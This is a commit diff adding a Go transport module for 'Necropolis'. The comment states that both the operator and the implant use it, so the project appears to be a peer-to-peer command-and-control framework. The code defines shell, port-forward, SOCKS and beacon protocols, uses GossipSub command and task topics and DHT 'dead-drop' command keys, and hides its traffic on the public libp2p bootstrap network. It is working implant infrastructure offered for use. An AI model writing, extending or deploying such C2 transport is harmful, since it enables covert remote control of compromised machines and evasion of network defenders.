Necropolis v1 release
This commit is contained in:
@@ -0,0 +1,511 @@
|
||||
// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
|
||||
// discovery. Used by both the operator and the implant.
|
||||
package transport
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
dht "github.com/libp2p/go-libp2p-kad-dht"
|
||||
pubsub "github.com/libp2p/go-libp2p-pubsub"
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/host"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
"github.com/libp2p/go-libp2p/core/protocol"
|
||||
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
|
||||
routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
|
||||
"github.com/libp2p/go-libp2p/p2p/host/autorelay"
|
||||
"github.com/multiformats/go-multiaddr"
|
||||
)
|
||||
|
||||
// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
|
||||
const (
|
||||
NecropolisProtocolID protocol.ID = "/x/1.0.0"
|
||||
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
|
||||
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
|
||||
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
|
||||
BeaconProtocolID protocol.ID = "/bc/1.0.0"
|
||||
CmdProtocolID protocol.ID = "/bc/1.0.0/cmd"
|
||||
CommandTopicPrefix string = "/c/"
|
||||
BeaconTopicPrefix string = "/b/"
|
||||
TaskTopicPrefix string = "/t/"
|
||||
CommandsSuffix string = "/cx"
|
||||
BeaconsSuffix string = "/bx"
|
||||
TasksSuffix string = "/tx/"
|
||||
)
|
||||
|
||||
// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
|
||||
func DefaultBootstrapAddrs() []peer.AddrInfo {
|
||||
var out []peer.AddrInfo
|
||||
for _, s := range defaultBootstrapPeers {
|
||||
m, err := multiaddr.NewMultiaddr(s)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
pi, err := peer.AddrInfoFromP2pAddr(m)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, *pi)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
var defaultBootstrapPeers = []string{
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
|
||||
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
|
||||
}
|
||||
|
||||
// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
|
||||
// relay settings, DHT, mDNS, and the libp2p identity key.
|
||||
type NodeConfig struct {
|
||||
ListenAddr string
|
||||
BootstrapPeers []peer.AddrInfo
|
||||
EnableRelay bool
|
||||
EnableRelayService bool
|
||||
EnableMDNS bool
|
||||
EnableDHT bool
|
||||
RelayAddrs []string
|
||||
PrivateKey crypto.PrivKey
|
||||
}
|
||||
|
||||
// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
|
||||
// cached topics/subscriptions.
|
||||
type Node struct {
|
||||
Host host.Host
|
||||
PubSub *pubsub.PubSub
|
||||
DHT *dht.IpfsDHT
|
||||
disc *routingdiscovery.RoutingDiscovery
|
||||
config NodeConfig
|
||||
topics map[string]*pubsub.Topic
|
||||
subs map[string]*pubsub.Subscription
|
||||
mu sync.RWMutex
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
|
||||
// and configures auto-relay if relay addresses are provided.
|
||||
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
baseOpts := []libp2p.Option{
|
||||
libp2p.ListenAddrStrings(cfg.ListenAddr),
|
||||
}
|
||||
|
||||
if cfg.PrivateKey != nil {
|
||||
baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
|
||||
}
|
||||
|
||||
if cfg.EnableRelay {
|
||||
baseOpts = append(baseOpts, libp2p.EnableRelay())
|
||||
}
|
||||
if cfg.EnableRelayService {
|
||||
baseOpts = append(baseOpts, libp2p.EnableRelayService())
|
||||
}
|
||||
|
||||
var h host.Host
|
||||
var err error
|
||||
|
||||
if len(cfg.RelayAddrs) > 0 {
|
||||
if cfg.EnableDHT {
|
||||
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
|
||||
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
|
||||
return findRelayCandidates(ctx, num, h)
|
||||
}),
|
||||
))
|
||||
} else {
|
||||
var relays []peer.AddrInfo
|
||||
for _, s := range cfg.RelayAddrs {
|
||||
m, err := multiaddr.NewMultiaddr(s)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
|
||||
}
|
||||
pi, err := peer.AddrInfoFromP2pAddr(m)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
|
||||
}
|
||||
relays = append(relays, *pi)
|
||||
}
|
||||
baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
|
||||
}
|
||||
} else if cfg.EnableDHT {
|
||||
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
|
||||
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
|
||||
return findRelayCandidates(ctx, num, h)
|
||||
}),
|
||||
))
|
||||
}
|
||||
|
||||
baseOpts = append(baseOpts, opts...)
|
||||
|
||||
h, err = libp2p.New(baseOpts...)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create libp2p host: %w", err)
|
||||
}
|
||||
|
||||
if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
|
||||
go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
|
||||
}
|
||||
|
||||
params := pubsub.DefaultGossipSubParams()
|
||||
params.D = 6
|
||||
params.Dlo = 4
|
||||
params.Dhi = 12
|
||||
params.HistoryLength = 10
|
||||
params.HistoryGossip = 5
|
||||
params.HeartbeatInterval = 1 * time.Second
|
||||
|
||||
ps, err := pubsub.NewGossipSub(ctx, h,
|
||||
pubsub.WithPeerExchange(true),
|
||||
pubsub.WithFloodPublish(true),
|
||||
pubsub.WithGossipSubParams(params),
|
||||
)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create pubsub: %w", err)
|
||||
}
|
||||
|
||||
n := &Node{
|
||||
Host: h,
|
||||
PubSub: ps,
|
||||
config: cfg,
|
||||
topics: make(map[string]*pubsub.Topic),
|
||||
subs: make(map[string]*pubsub.Subscription),
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}
|
||||
|
||||
if cfg.EnableDHT {
|
||||
d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
|
||||
dht.ProtocolPrefix("/necropolis"),
|
||||
dht.NamespacedValidator("necropolis", passThroughValidator{}),
|
||||
)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create dht: %w", err)
|
||||
}
|
||||
n.DHT = d
|
||||
n.disc = routingdiscovery.NewRoutingDiscovery(d)
|
||||
}
|
||||
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
|
||||
// starts mDNS if enabled.
|
||||
func (n *Node) StartDiscovery() error {
|
||||
go func() {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
for _, pi := range n.config.BootstrapPeers {
|
||||
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
|
||||
if err := n.Host.Connect(connectCtx, pi); err != nil {
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}()
|
||||
|
||||
if n.DHT != nil {
|
||||
go func() {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
n.DHT.Bootstrap(n.ctx)
|
||||
}()
|
||||
}
|
||||
|
||||
if n.config.EnableMDNS {
|
||||
svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
|
||||
if err := svc.Start(); err != nil {
|
||||
return fmt.Errorf("start mdns: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
type mdnsNotifee struct {
|
||||
h host.Host
|
||||
}
|
||||
|
||||
// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
|
||||
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
|
||||
if pi.ID == m.h.ID() {
|
||||
return
|
||||
}
|
||||
for _, addr := range pi.Addrs {
|
||||
m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
|
||||
}
|
||||
}
|
||||
|
||||
// Advertise registers this node under a DHT rendezvous namespace.
|
||||
func (n *Node) Advertise(ctx context.Context, ns string) error {
|
||||
if n.disc == nil {
|
||||
return fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
_, err := n.disc.Advertise(ctx, ns)
|
||||
return err
|
||||
}
|
||||
|
||||
// FindPeers performs a DHT-based peer discovery for the given namespace.
|
||||
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
|
||||
if n.disc == nil {
|
||||
return nil, fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
return n.disc.FindPeers(ctx, ns)
|
||||
}
|
||||
|
||||
// JoinTopic joins a PubSub topic, caching the handle for reuse.
|
||||
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
|
||||
if t, ok := n.topics[topic]; ok {
|
||||
return t, nil
|
||||
}
|
||||
|
||||
t, err := n.PubSub.Join(topic)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("join topic %s: %w", topic, err)
|
||||
}
|
||||
n.topics[topic] = t
|
||||
return t, nil
|
||||
}
|
||||
|
||||
// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
|
||||
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
|
||||
if s, ok := n.subs[topic]; ok {
|
||||
return s, nil
|
||||
}
|
||||
|
||||
t, ok := n.topics[topic]
|
||||
if !ok {
|
||||
var err error
|
||||
t, err = n.PubSub.Join(topic)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("join topic %s: %w", topic, err)
|
||||
}
|
||||
n.topics[topic] = t
|
||||
}
|
||||
|
||||
sub, err := t.Subscribe()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
|
||||
}
|
||||
n.subs[topic] = sub
|
||||
return sub, nil
|
||||
}
|
||||
|
||||
// Publish sends data to a PubSub topic.
|
||||
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
|
||||
t, err := n.JoinTopic(topic)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return t.Publish(ctx, data)
|
||||
}
|
||||
|
||||
// ConnectToPeer establishes a libp2p connection to the given peer.
|
||||
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
|
||||
return n.Host.Connect(ctx, pi)
|
||||
}
|
||||
|
||||
// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
|
||||
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
|
||||
n.Host.SetStreamHandler(pid, handler)
|
||||
}
|
||||
|
||||
// NewStream opens a libp2p stream to the given peer on the given protocol.
|
||||
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
|
||||
return n.Host.NewStream(ctx, p, pid)
|
||||
}
|
||||
|
||||
// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
|
||||
func (n *Node) WaitForDHT(ctx context.Context) bool {
|
||||
for i := 0; i < 30; i++ {
|
||||
if n.DHT.RoutingTable().Size() >= 5 {
|
||||
return true
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
case <-time.After(2 * time.Second):
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Close cancels the node context, shuts down the DHT, and closes the host.
|
||||
func (n *Node) Close() error {
|
||||
n.cancel()
|
||||
if n.DHT != nil {
|
||||
n.DHT.Close()
|
||||
}
|
||||
return n.Host.Close()
|
||||
}
|
||||
|
||||
// Addrs returns the host's multiaddresses.
|
||||
func (n *Node) Addrs() []multiaddr.Multiaddr {
|
||||
return n.Host.Addrs()
|
||||
}
|
||||
|
||||
// ID returns the host's libp2p peer ID.
|
||||
func (n *Node) ID() peer.ID {
|
||||
return n.Host.ID()
|
||||
}
|
||||
|
||||
// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
|
||||
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
|
||||
if n.DHT == nil {
|
||||
return fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
return n.DHT.PutValue(ctx, key, value)
|
||||
}
|
||||
|
||||
// GetDHTValue retrieves the best value for key from the DHT.
|
||||
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
|
||||
if n.DHT == nil {
|
||||
return nil, fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
val, err := n.DHT.GetValue(ctx, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return val, nil
|
||||
}
|
||||
|
||||
// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
|
||||
// where we just need storage with no validation.
|
||||
type passThroughValidator struct{}
|
||||
|
||||
func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
|
||||
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
|
||||
|
||||
// CommandDHTKey returns the DHT key for operator command dead-drops.
|
||||
// Registered under the /necropolis/ namespace via NamespacedValidator.
|
||||
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
|
||||
return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
|
||||
}
|
||||
|
||||
// RelayRendezvousString returns the DHT namespace for relay peer discovery.
|
||||
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
|
||||
return "necropolis/relay/" + operatorID.String()
|
||||
}
|
||||
|
||||
// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
|
||||
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
|
||||
if n.disc == nil {
|
||||
return fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
_, err := n.disc.Advertise(ctx, ns)
|
||||
return err
|
||||
}
|
||||
|
||||
// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
|
||||
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
|
||||
if n.disc == nil {
|
||||
return nil, fmt.Errorf("DHT not enabled")
|
||||
}
|
||||
peerCh, err := n.disc.FindPeers(ctx, ns)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []peer.AddrInfo
|
||||
for pi := range peerCh {
|
||||
if len(pi.Addrs) == 0 {
|
||||
continue
|
||||
}
|
||||
out = append(out, pi)
|
||||
if len(out) >= limit {
|
||||
break
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// findRelayCandidates scans connected peers for those running circuit relay.
|
||||
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
|
||||
ch := make(chan peer.AddrInfo, num)
|
||||
go func() {
|
||||
defer func() {
|
||||
recover()
|
||||
}()
|
||||
defer close(ch)
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
for _, p := range h.Network().Peers() {
|
||||
if len(ch) >= num {
|
||||
return
|
||||
}
|
||||
protocols, err := h.Peerstore().GetProtocols(p)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, proto := range protocols {
|
||||
if strings.Contains(string(proto), "circuit/relay") {
|
||||
addrs := h.Peerstore().Addrs(p)
|
||||
if len(addrs) > 0 {
|
||||
select {
|
||||
case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
return ch
|
||||
}
|
||||
|
||||
// tryStaticRelayConnections attempts to connect to each static relay address in the config.
|
||||
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
|
||||
for _, s := range relayAddrs {
|
||||
m, err := multiaddr.NewMultiaddr(s)
|
||||
if err != nil {
|
||||
log.Printf("[node] parse relay addr %q: %v", s, err)
|
||||
continue
|
||||
}
|
||||
pi, err := peer.AddrInfoFromP2pAddr(m)
|
||||
if err != nil {
|
||||
log.Printf("[node] parse relay peer %q: %v", s, err)
|
||||
continue
|
||||
}
|
||||
connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
err = h.Connect(connCtx, *pi)
|
||||
cancel()
|
||||
if err != nil {
|
||||
log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[node] connected to relay %s", pi.ID.String())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user